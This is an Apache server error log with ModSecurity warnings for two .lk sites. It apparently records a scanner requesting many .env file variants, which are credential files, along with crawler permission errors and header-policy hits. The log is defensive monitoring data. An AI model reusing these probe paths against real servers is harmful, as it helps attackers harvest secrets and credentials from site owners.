[Fri Jul 17 09:25:55.131752 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env_copy"] [unique_id "almny41dLClkUfK_dfHqRwAAAAI"]
[Fri Jul 17 09:25:55.132014 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env_copy"] [unique_id "almny41dLClkUfK_dfHqRwAAAAI"]
[Fri Jul 17 09:25:55.132379 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env_copy"] [unique_id "almny41dLClkUfK_dfHqRwAAAAI"]
[Fri Jul 17 09:25:55.287269 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.txt"] [unique_id "almny_wooI4qY7Jg93pawgAAABM"]
[Fri Jul 17 09:25:55.287523 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.txt"] [unique_id "almny_wooI4qY7Jg93pawgAAABM"]
[Fri Jul 17 09:25:55.287951 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.txt"] [unique_id "almny_wooI4qY7Jg93pawgAAABM"]
[Fri Jul 17 09:25:55.305156 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:55.463637 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.json"] [unique_id "almny4l9vhFBGA6D8l9_mwAAAAw"]
[Fri Jul 17 09:25:55.463963 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.json"] [unique_id "almny4l9vhFBGA6D8l9_mwAAAAw"]
[Fri Jul 17 09:25:55.464389 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.json"] [unique_id "almny4l9vhFBGA6D8l9_mwAAAAw"]
[Fri Jul 17 09:25:55.633966 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yaml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.yaml"] [unique_id "almny4-0g_VSPeIeFN3F0wAAAAs"]
[Fri Jul 17 09:25:55.634278 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.yaml"] [unique_id "almny4-0g_VSPeIeFN3F0wAAAAs"]
[Fri Jul 17 09:25:55.634628 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.yaml"] [unique_id "almny4-0g_VSPeIeFN3F0wAAAAs"]
[Fri Jul 17 09:25:55.793042 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.yml"] [unique_id "almny7EWOaI5pmYo9fnUMQAAAAA"]
[Fri Jul 17 09:25:55.793319 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.yml"] [unique_id "almny7EWOaI5pmYo9fnUMQAAAAA"]
[Fri Jul 17 09:25:55.793737 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.yml"] [unique_id "almny7EWOaI5pmYo9fnUMQAAAAA"]
[Fri Jul 17 09:25:55.816784 2026] [core:error] [pid 2018757:tid 2018757] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup9/subsystem/wakeup11/device/device:10/eject
[Fri Jul 17 09:25:55.917627 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:55.971814 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/app/.env"] [unique_id "almny614q1EBnanVMYGpYgAAAAk"]
[Fri Jul 17 09:25:55.972132 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/app/.env"] [unique_id "almny614q1EBnanVMYGpYgAAAAk"]
[Fri Jul 17 09:25:55.972529 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/app/.env"] [unique_id "almny614q1EBnanVMYGpYgAAAAk"]
[Fri Jul 17 09:25:56.085288 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup9/subsystem/wakeup11/device/device:16/eject
[Fri Jul 17 09:25:56.120400 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup1/subsystem/wakeup11/device/device:10/eject
[Fri Jul 17 09:25:56.137310 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/apps/.env"] [unique_id "almnzPwooI4qY7Jg93paxAAAABM"]
[Fri Jul 17 09:25:56.137695 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/apps/.env"] [unique_id "almnzPwooI4qY7Jg93paxAAAABM"]
[Fri Jul 17 09:25:56.138250 2026] [security2:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/apps/.env"] [unique_id "almnzPwooI4qY7Jg93paxAAAABM"]
[Fri Jul 17 09:25:56.271437 2026] [security2:error] [pid 1993572:tid 1993572] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/laptop-notebook/lenovo-laptops-and-notebooks"] [unique_id "almnzIl9vhFBGA6D8l9_nQAAAAw"]
[Fri Jul 17 09:25:56.271598 2026] [security2:error] [pid 1993572:tid 1993572] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/laptop-notebook/lenovo-laptops-and-notebooks"] [unique_id "almnzIl9vhFBGA6D8l9_nQAAAAw"]
[Fri Jul 17 09:25:56.272101 2026] [security2:error] [pid 1993572:tid 1993572] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/laptop-notebook/lenovo-laptops-and-notebooks"] [unique_id "almnzIl9vhFBGA6D8l9_nQAAAAw"]
[Fri Jul 17 09:25:56.310510 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/api/.env"] [unique_id "almnzI1dLClkUfK_dfHqSgAAAAI"]
[Fri Jul 17 09:25:56.310871 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/api/.env"] [unique_id "almnzI1dLClkUfK_dfHqSgAAAAI"]
[Fri Jul 17 09:25:56.311507 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/api/.env"] [unique_id "almnzI1dLClkUfK_dfHqSgAAAAI"]
[Fri Jul 17 09:25:56.321934 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:56.424409 2026] [core:error] [pid 2030774:tid 2030774] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup1/subsystem/wakeup11/device/device:16/eject
[Fri Jul 17 09:25:56.471220 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/web/.env"] [unique_id "almnzFCBpfuYyhJ140vYDgAAAB4"]
[Fri Jul 17 09:25:56.471623 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/web/.env"] [unique_id "almnzFCBpfuYyhJ140vYDgAAAB4"]
[Fri Jul 17 09:25:56.472129 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/web/.env"] [unique_id "almnzFCBpfuYyhJ140vYDgAAAB4"]
[Fri Jul 17 09:25:56.526133 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:56.641227 2026] [security2:error] [pid 2018757:tid 2018757] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/site/.env"] [unique_id "almnzEkXT4NBqALj2laCYAAAABA"]
[Fri Jul 17 09:25:56.641628 2026] [security2:error] [pid 2018757:tid 2018757] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/site/.env"] [unique_id "almnzEkXT4NBqALj2laCYAAAABA"]
[Fri Jul 17 09:25:56.642186 2026] [security2:error] [pid 2018757:tid 2018757] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/site/.env"] [unique_id "almnzEkXT4NBqALj2laCYAAAABA"]
[Fri Jul 17 09:25:56.733746 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:56.816411 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/public/.env"] [unique_id "almnzI-0g_VSPeIeFN3F1gAAAAs"]
[Fri Jul 17 09:25:56.816723 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/public/.env"] [unique_id "almnzI-0g_VSPeIeFN3F1gAAAAs"]
[Fri Jul 17 09:25:56.817175 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/public/.env"] [unique_id "almnzI-0g_VSPeIeFN3F1gAAAAs"]
[Fri Jul 17 09:25:56.829859 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:56.876129 2026] [security2:error] [pid 1993572:tid 1993572] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almnzIl9vhFBGA6D8l9_nQAAAAw"]
